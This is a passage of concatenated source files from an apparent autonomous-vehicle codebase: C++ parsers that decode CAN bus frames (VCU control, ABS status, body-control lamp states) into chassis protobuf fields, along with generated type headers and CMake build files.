Srs_0x350_350::Srs_airbagfailstsType ret = static_cast<Srs_0x350_350::Srs_airbagfailstsType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_control2_0x131_131.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwvcucontrol20x131131::Gwvcucontrol20x131131() {} const int32_t Gwvcucontrol20x131131::ID = 0x131; void Gwvcucontrol20x131131::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_checksum_0x131(checksum_0x131(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_rolling_counter_0x131(rolling_counter_0x131(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_sts_vcu(vcu_sts_vcu(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_brake_flag(vcu_brake_flag(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_tractor_flag(vcu_tractor_flag(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_brkpedpos_meas_vcu(vcu_brkpedpos_meas_vcu(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_pwt_mode_dash(vcu_pwt_mode_dash(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_mcu_motor1_capdischarge_req(vcu_mcu_motor1_capdischarge_req(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_mcu_motor1_trq_req(vcu_mcu_motor1_trq_req(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_control2_0x131_131()->set_vcu_mcu_motor1_spd_req(vcu_mcu_motor1_spd_req(bytes, length)); } // config detail: {'name': 'checksum_0x131', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcucontrol20x131131::checksum_0x131(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x131', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcucontrol20x131131::rolling_counter_0x131(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'vcu_sts_vcu', 'enum': {0: 'VCU_STS_VCU_INITIALIZING', 1: 'VCU_STS_VCU_READY', 2: 'VCU_STS_VCU_WARNING', 3: 'VCU_STS_VCU_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_sts_vcuType Gwvcucontrol20x131131::vcu_sts_vcu(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_vcu_control2_0x131_131::Vcu_sts_vcuType ret = static_cast<Gw_vcu_control2_0x131_131::Vcu_sts_vcuType>(x); return ret; } // config detail: {'name': 'vcu_brake_flag', 'enum': {0: 'VCU_BRAKE_FLAG_NO_ACTIVE', 1: 'VCU_BRAKE_FLAG_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 40, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_brake_flagType Gwvcucontrol20x131131::vcu_brake_flag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 1); Gw_vcu_control2_0x131_131::Vcu_brake_flagType ret = static_cast<Gw_vcu_control2_0x131_131::Vcu_brake_flagType>(x); return ret; } // config detail: {'name': 'vcu_tractor_flag', 'enum': {0: 'VCU_TRACTOR_FLAG_NO_ACTIVE', 1: 'VCU_TRACTOR_FLAG_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_tractor_flagType Gwvcucontrol20x131131::vcu_tractor_flag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(1, 1); Gw_vcu_control2_0x131_131::Vcu_tractor_flagType ret = static_cast<Gw_vcu_control2_0x131_131::Vcu_tractor_flagType>(x); return ret; } // config detail: {'name': 'vcu_brkpedpos_meas_vcu', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 35, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Gwvcucontrol20x131131::vcu_brkpedpos_meas_vcu(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 5); int32_t t = t1.get_byte(2, 6); x <<= 6; x |= t; double ret = x * 0.100000; return ret; } // config detail: {'name': 'vcu_pwt_mode_dash', 'enum': {0: 'VCU_PWT_MODE_DASH_ECOHEV', 1: 'VCU_PWT_MODE_DASH_ECO_EV', 2: 'VCU_PWT_MODE_DASH_PWRHEV', 3: 'VCU_PWT_MODE_DASH_PWREV', 4: 'VCU_PWT_MODE_DASH_EV_ECO', 5: 'VCU_PWT_MODE_DASH_EV_POWER', 7: 'VCU_PWT_MODE_DASH_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_pwt_mode_dashType Gwvcucontrol20x131131::vcu_pwt_mode_dash(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(5, 3); Gw_vcu_control2_0x131_131::Vcu_pwt_mode_dashType ret = static_cast<Gw_vcu_control2_0x131_131::Vcu_pwt_mode_dashType>(x); return ret; } // config detail: {'name': 'vcu_mcu_motor1_capdischarge_req', 'enum': {0: 'VCU_MCU_MOTOR1_CAPDISCHARGE_REQ_NO_REQUEST', 1: 'VCU_MCU_MOTOR1_CAPDISCHARGE_REQ_DISCHARGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 36, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_mcu_motor1_capdischarge_reqType Gwvcucontrol20x131131::vcu_mcu_motor1_capdischarge_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 1); Gw_vcu_control2_0x131_131::Vcu_mcu_motor1_capdischarge_reqType ret = static_cast<Gw_vcu_control2_0x131_131::Vcu_mcu_motor1_capdischarge_reqType>(x); return ret; } // config detail: {'name': 'vcu_mcu_motor1_trq_req', 'offset': -1000.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double Gwvcucontrol20x131131::vcu_mcu_motor1_trq_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.100000 + -1000.000000; return ret; } // config detail: {'name': 'vcu_mcu_motor1_spd_req', 'offset': -10000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-10000|10000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'rpm'} int Gwvcucontrol20x131131::vcu_mcu_motor1_spd_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x + -10000.000000; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_advice_h #define impl_type_advice_h #include "impl_type_uint8.h" enum class Advice : UInt8 { UNKNOW = 0, DISALLOW_ENGAGE = 1, READY_TO_ENGAGE = 2, KEEP_ENGAGE = 3, PREPARE_DISENGAGE = 4 }; #endif // impl_type_advice_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(feasible_region feasible_region.cc feasible_region.h) target_link_libraries(feasible_region log pnc_point_proto planning_gflags) add_library(path_time_graph path_time_graph.cc path_time_graph.h) target_link_libraries(path_time_graph log linear_interpolation path_matcher pnc_point_proto frame obstacle planning_gflags lattice_structure_proto /modules/planning/reference_line) add_library(prediction_querier prediction_querier.cc prediction_querier.h) target_link_libraries(prediction_querier /modules/common/math path_matcher obstacle lattice_structure_proto planning_proto) <file_sep># JMCAuto with MDC > v0.001 <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(can_receiver INTERFACE) target_link_libraries(can_receiver INTERFACE ${COMMON_LIB} common error_code_proto can_client message_manager_base) add_library(can_sender INTERFACE) target_link_libraries(can_sender INTERFACE ${COMMON_LIB} common error_code_proto can_client message_manager_base) add_library(message_manager_base INTERFACE) target_link_libraries(message_manager_base INTERFACE ${COMMON_LIB} error_code_proto time canbus_common)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_channelcache_h #define impl_type_channelcache_h #include "impl_type_uint64.h" #include "impl_type_string.h" struct ChannelCache { ::UInt64 message_number; ::String name; ::String message_type; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(message_number); fun(name); fun(message_type); } template<typename F> void enumerate(F& fun) const { fun(message_number); fun(name); fun(message_type); } bool operator == (const ::ChannelCache& t) const { return (message_number == t.message_number) && (name == t.name) && (message_type == t.message_type); } }; #endif // impl_type_channelcache_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(simulation_world_proto simulation_world.pb.cc simulation_world.pb.h) target_link_libraries(simulation_world_proto #monitor_log_proto pnc_point_proto perception_proto planning_internal_proto routing_proto protobuf) add_library(point_cloud_proto point_cloud.pb.cc point_cloud.pb.h) target_link_libraries(point_cloud_proto protobuf) add_library(hmi_config_proto hmi_config.pb.cc hmi_config.pb.h) target_link_libraries(hmi_config_proto protobuf) add_library(hmi_status_proto hmi_status.pb.cc hmi_status.pb.h) target_link_libraries(hmi_status_proto #system_status_proto protobuf) add_library(voice_detection_proto voice_detection.pb.cc voice_detection.pb.h) target_link_libraries(voice_detection_proto hmi_config_proto protobuf) add_library(chart_proto chart.pb.cc chart.pb.h) target_link_libraries(chart_proto common_proto protobuf)<file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/abs_sts_0x221_221.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Abssts0x221221::Abssts0x221221() {} const int32_t Abssts0x221221::ID = 0x221; void Abssts0x221221::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_whlmilgfrntri(abs_whlmilgfrntri(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_vehspdlgt(abs_vehspdlgt(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_vehspddirection(abs_vehspddirection(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_ebdflgflt(abs_ebdflgflt(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_absflgflt(abs_absflgflt(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_absctrlactv(abs_absctrlactv(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_rollingcounter_0x221(rollingcounter_0x221(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_whlmilgfrntlestatus(abs_whlmilgfrntlestatus(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_whlmilgfrntristatus(abs_whlmilgfrntristatus(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_vehspdlgtstatus(abs_vehspdlgtstatus(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_checksum_0x221(checksum_0x221(bytes, length)); chassis->mutable_cx75()->mutable_abs_sts_0x221_221()->set_abs_whlmilgfrntle(abs_whlmilgfrntle(bytes, length)); } // config detail: {'name': 'abs_whlmilgfrntri', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Abssts0x221221::abs_whlmilgfrntri(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } // config detail: {'name': 'abs_vehspdlgt', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.34375]', 'bit': 35, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double Abssts0x221221::abs_vehspdlgt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.056250; return ret; } // config detail: {'name': 'abs_vehspddirection', 'enum': {0: 'ABS_VEHSPDDIRECTION_FORWARD', 1: 'ABS_VEHSPDDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 36, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_vehspddirectionType Abssts0x221221::abs_vehspddirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 1); Abs_sts_0x221_221::Abs_vehspddirectionType ret = static_cast<Abs_sts_0x221_221::Abs_vehspddirectionType>(x); return ret; } // config detail: {'name': 'abs_ebdflgflt', 'enum': {0: 'ABS_EBDFLGFLT_NO_FAILURE', 1: 'ABS_EBDFLGFLT_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_ebdflgfltType Abssts0x221221::abs_ebdflgflt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(5, 1); Abs_sts_0x221_221::Abs_ebdflgfltType ret = static_cast<Abs_sts_0x221_221::Abs_ebdflgfltType>(x); return ret; } // config detail: {'name': 'abs_absflgflt', 'enum': {0: 'ABS_ABSFLGFLT_NO_FAILURE', 1: 'ABS_ABSFLGFLT_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_absflgfltType Abssts0x221221::abs_absflgflt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(6, 1); Abs_sts_0x221_221::Abs_absflgfltType ret = static_cast<Abs_sts_0x221_221::Abs_absflgfltType>(x); return ret; } // config detail: {'name': 'abs_absctrlactv', 'enum': {0: 'ABS_ABSCTRLACTV_NOT_ACTIVE', 1: 'ABS_ABSCTRLACTV_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_absctrlactvType Abssts0x221221::abs_absctrlactv(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(7, 1); Abs_sts_0x221_221::Abs_absctrlactvType ret = static_cast<Abs_sts_0x221_221::Abs_absctrlactvType>(x); return ret; } // config detail: {'name': 'rollingcounter_0x221', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Abssts0x221221::rollingcounter_0x221(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'abs_whlmilgfrntlestatus', 'enum': {0: 'ABS_WHLMILGFRNTLESTATUS_VALID', 1: 'ABS_WHLMILGFRNTLESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_whlmilgfrntlestatusType Abssts0x221221::abs_whlmilgfrntlestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Abs_sts_0x221_221::Abs_whlmilgfrntlestatusType ret = static_cast<Abs_sts_0x221_221::Abs_whlmilgfrntlestatusType>(x); return ret; } // config detail: {'name': 'abs_whlmilgfrntristatus', 'enum': {0: 'ABS_WHLMILGFRNTRISTATUS_VALID', 1: 'ABS_WHLMILGFRNTRISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_whlmilgfrntristatusType Abssts0x221221::abs_whlmilgfrntristatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Abs_sts_0x221_221::Abs_whlmilgfrntristatusType ret = static_cast<Abs_sts_0x221_221::Abs_whlmilgfrntristatusType>(x); return ret; } // config detail: {'name': 'abs_vehspdlgtstatus', 'enum': {0: 'ABS_VEHSPDLGTSTATUS_VALID', 1: 'ABS_VEHSPDLGTSTATUS_INVALID', 2: 'ABS_VEHSPDLGTSTATUS_INIT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_vehspdlgtstatusType Abssts0x221221::abs_vehspdlgtstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Abs_sts_0x221_221::Abs_vehspdlgtstatusType ret = static_cast<Abs_sts_0x221_221::Abs_vehspdlgtstatusType>(x); return ret; } // config detail: {'name': 'checksum_0x221', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Abssts0x221221::checksum_0x221(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'abs_whlmilgfrntle', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Abssts0x221221::abs_whlmilgfrntle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/bcm_bodysts_0x344_344.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Bcmbodysts0x344344::Bcmbodysts0x344344() {} const int32_t Bcmbodysts0x344344::ID = 0x344; void Bcmbodysts0x344344::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_brakelampstatus(bcm_brakelampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_rearfoglampstatus(bcm_rearfoglampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_frontfoglampstatus(bcm_frontfoglampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_washerstatus(bcm_washerstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_wiperstatus(bcm_wiperstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_doorlockfeedback(bcm_doorlockfeedback(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_hornstatus(bcm_hornstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_highbeamlampstatus(bcm_highbeamlampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_lowbeamlampstatus(bcm_lowbeamlampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_positionlampstatus(bcm_positionlampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_hazardlampstatus(bcm_hazardlampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_rightturnlampstatus(bcm_rightturnlampstatus(bytes, length)); chassis->mutable_teshun()->mutable_bcm_bodysts_0x344_344()->set_bcm_leftturnlampstatus(bcm_leftturnlampstatus(bytes, length)); } // config detail: {'name': 'bcm_brakelampstatus', 'enum': {0: 'BCM_BRAKELAMPSTATUS_BRAKE_LAMP_INACTIVE', 1: 'BCM_BRAKELAMPSTATUS_BRAKE_LAMP_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_brakelampstatusType Bcmbodysts0x344344::bcm_brakelampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(3, 1); Bcm_bodysts_0x344_344::Bcm_brakelampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_brakelampstatusType>(x); return ret; } // config detail: {'name': 'bcm_rearfoglampstatus', 'enum': {0: 'BCM_REARFOGLAMPSTATUS_INVALID', 1: 'BCM_REARFOGLAMPSTATUS_OFF', 2: 'BCM_REARFOGLAMPSTATUS_ON', 3: 'BCM_REARFOGLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_rearfoglampstatusType Bcmbodysts0x344344::bcm_rearfoglampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 2); Bcm_bodysts_0x344_344::Bcm_rearfoglampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_rearfoglampstatusType>(x); return ret; } // config detail: {'name': 'bcm_frontfoglampstatus', 'enum': {0: 'BCM_FRONTFOGLAMPSTATUS_INVALID', 1: 'BCM_FRONTFOGLAMPSTATUS_OFF', 2: 'BCM_FRONTFOGLAMPSTATUS_ON', 3: 'BCM_FRONTFOGLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_frontfoglampstatusType Bcmbodysts0x344344::bcm_frontfoglampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(6, 2); Bcm_bodysts_0x344_344::Bcm_frontfoglampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_frontfoglampstatusType>(x); return ret; } // config detail: {'name': 'bcm_washerstatus', 'enum': {0: 'BCM_WASHERSTATUS_INVALID', 1: 'BCM_WASHERSTATUS_OFF', 2: 'BCM_WASHERSTATUS_ON', 3: 'BCM_WASHERSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_washerstatusType Bcmbodysts0x344344::bcm_washerstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(3, 2); Bcm_bodysts_0x344_344::Bcm_washerstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_washerstatusType>(x); return ret; } // config detail: {'name': 'bcm_wiperstatus', 'enum': {0: 'BCM_WIPERSTATUS_INVALID', 1: 'BCM_WIPERSTATUS_OFF', 2: 'BCM_WIPERSTATUS_LOW_SPEED', 3: 'BCM_WIPERSTATUS_HIGH_SPEED', 7: 'BCM_WIPERSTATUS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_wiperstatusType Bcmbodysts0x344344::bcm_wiperstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 3); Bcm_bodysts_0x344_344::Bcm_wiperstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_wiperstatusType>(x); return ret; } // config detail: {'name': 'bcm_doorlockfeedback', 'enum': {0: 'BCM_DOORLOCKFEEDBACK_INVALID', 1: 'BCM_DOORLOCKFEEDBACK_LOCK_ACTION', 2: 'BCM_DOORLOCKFEEDBACK_UNLOCK_ACTION', 3: 'BCM_DOORLOCKFEEDBACK_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_doorlockfeedbackType Bcmbodysts0x344344::bcm_doorlockfeedback(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(4, 2); Bcm_bodysts_0x344_344::Bcm_doorlockfeedbackType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_doorlockfeedbackType>(x); return ret; } // config detail: {'name': 'bcm_hornstatus', 'enum': {0: 'BCM_HORNSTATUS_INVALID', 1: 'BCM_HORNSTATUS_OFF', 2: 'BCM_HORNSTATUS_ON', 3: 'BCM_HORNSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} 